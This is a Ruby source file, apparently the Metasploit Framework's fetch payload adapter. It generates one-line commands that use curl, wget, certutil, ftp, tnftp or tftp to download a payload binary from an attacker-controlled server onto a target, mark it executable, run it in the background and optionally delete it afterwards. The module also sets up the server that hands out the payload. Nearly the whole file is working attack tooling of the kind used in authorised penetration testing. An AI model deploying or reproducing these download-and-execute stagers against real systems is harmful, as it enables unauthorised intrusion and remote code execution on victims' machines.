module Msf::Payload::Adapter::Fetch

  def initialize(*args)
    super
    register_options(
      [
        Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
        Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/),
        Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
        # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
        Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
        Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
        Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', ''], regex:/^[\S]*$/)
      ]
    )
    register_advanced_options(
      [
        Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
        Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
        Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
      ]
    )
    @delete_resource = true
    @fetch_service = nil
    @myresources = []
    @srvexe = ''
    @remote_destination_win = nil
    @remote_destination_nix = nil
    @windows = nil
  end

  # If no fetch URL is provided, we generate one based off the underlying payload data
  # This is because if we use a randomly-generated URI, the URI generated by venom and
  # Framework will not match.  This way, we can build a payload in venom and a listener
  # in Framework, and if the underlying payload type/host/port are the same, the URI
  # will be, too.
  #
  def default_srvuri
    # If we're in framework, payload is in datastore; msfvenom has it in refname
    payload_name = datastore['payload'] ||= refname
    decoded_uri = payload_name.dup
    # there may be no transport, so leave the connection string off if that's the case
    netloc = ''
    if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
      netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
      unless datastore['LPORT'].blank?
        if Rex::Socket.is_ipv6?(netloc)
          netloc = "[#{netloc}]:#{datastore['LPORT']}"
        else
          netloc = "#{netloc}:#{datastore['LPORT']}"
        end
      end
    elsif module_info['ConnectionType'].upcase == 'BIND'
      netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
      unless datastore['RPORT'].blank?
        if Rex::Socket.is_ipv6?(netloc)
          netloc = "[#{netloc}]:#{datastore['RPORT']}"
        else
          netloc = "#{netloc}:#{datastore['RPORT']}"
        end
      end
    end
    decoded_uri << ";#{netloc}"
    Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
  end

  def download_uri
    "#{srvnetloc}/#{srvuri}"
  end

  def fetch_bindhost
    datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
  end

  def fetch_bindport
    datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
  end

  def fetch_bindnetloc
    Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
  end

  def generate(opts = {})
    opts[:arch] ||= module_info['AdaptedArch']
    opts[:code] = super
    @srvexe = generate_payload_exe(opts)
    cmd = generate_fetch_commands
    vprint_status("Command to run on remote host: #{cmd}")
    cmd
  end

  def generate_fetch_commands
    # TODO: Make a check method that determines if we support a platform/server/command combination
    #
    case datastore['FETCH_COMMAND'].upcase
    when 'FTP'
      return _generate_ftp_command
    when 'TNFTP'
      return _generate_tnftp_command
    when 'WGET'
      return _generate_wget_command
    when 'CURL'
      return _generate_curl_command
    when 'TFTP'
      return _generate_tftp_command
    when 'CERTUTIL'
      return _generate_certutil_command
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
  end

  def generate_stage(opts = {})
    opts[:arch] ||= module_info['AdaptedArch']
    super
  end

  def generate_payload_uuid(conf = {})
    conf[:arch] ||= module_info['AdaptedArch']
    conf[:platform] ||= module_info['AdaptedPlatform']
    super
  end

  def handle_connection(conn, opts = {})
    opts[:arch] ||= module_info['AdaptedArch']
    super
  end

  def srvhost
    host = datastore['FETCH_SRVHOST']
    host = datastore['LHOST'] if host.blank?
    host = '127.127.127.127' if host.blank?
    host
  end

  def srvnetloc
    Rex::Socket.to_authority(srvhost, srvport)
  end

  def srvport
    datastore['FETCH_SRVPORT']
  end

  def srvuri
    return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
    default_srvuri
  end

  def windows?
    return @windows unless @windows.nil?
    @windows = platform.platforms.first == Msf::Module::Platform::Windows
    @windows
  end

  def _check_tftp_port
    # Most tftp clients do not have configurable ports
    if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
      print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
    end
  end

  def _check_tftp_file
    # Older Linux tftp clients do not support saving the file under a different name
    unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
      print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
    end
  end

  # copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb
  def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
    comm = nil

    case srv_comm
    when 'local'
      comm = ::Rex::Socket::Comm::Local
    when /\A-?[0-9]+\Z/
      comm = framework.sessions.get(srv_comm.to_i)
      raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
      raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
    when nil, ''
      unless ip.nil?
        comm = Rex::Socket::SwitchBoard.best_comm(ip)
      end
    else
      raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
    end

    comm || ::Rex::Socket::Comm::Local
  end

  def _execute_add
    return _execute_win if windows?
    return _execute_nix
  end

  def _execute_win
    cmds = " & start /B #{_remote_destination_win}"
    cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
    cmds
  end

  def _execute_nix
    cmds = "; chmod +x #{_remote_destination_nix}"
    cmds << "; #{_remote_destination_nix} &"
    cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
    cmds
  end

  def _generate_certutil_command
    case fetch_protocol
    when 'HTTP'
      cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
    when 'HTTPS'
      # I don't think there is a way to disable cert check in certutil....
      print_error('CERTUTIL binary does not support insecure mode')
      fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
      cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
    cmd + _execute_add
  end

  def _generate_curl_command
    case fetch_protocol
    when 'HTTP'
      cmd = "curl -so #{_remote_destination} http://#{download_uri}"
    when 'HTTPS'
      cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
    when 'TFTP'
      cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
    cmd + _execute_add
  end

  def _generate_ftp_command
    case fetch_protocol
    when 'FTP'
      cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
    when 'HTTP'
      cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
    when 'HTTPS'
      cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
  end

  def _generate_tftp_command
    _check_tftp_port
    case fetch_protocol
    when 'TFTP'
      if windows?
        cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
      else
        _check_tftp_file
        cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
      end
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
    cmd
  end

  def _generate_tnftp_command
    case fetch_protocol
    when 'FTP'
      cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
    when 'HTTP'
      cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
    when 'HTTPS'
      cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
  end

  def _generate_wget_command
    case fetch_protocol
    when 'HTTPS'
      cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
    when 'HTTP'
      cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
    else
      fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
    end
    cmd + _execute_add
  end

  def _remote_destination
    return _remote_destination_win if windows?
    return _remote_destination_nix
  end

  def _remote_destination_nix
    return @remote_destination_nix unless @remote_destination_nix.nil?
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir = '.' if writable_dir.blank?
    writable_dir += '/' unless writable_dir[-1] == '/'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    @remote_destination_nix = payload_path
    @remote_destination_nix
  end

  def _remote_destination_win
    return @remote_destination_win unless @remote_destination_win.nil?
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
    @remote_destination_win = payload_path
    @remote_destination_win
  end
end
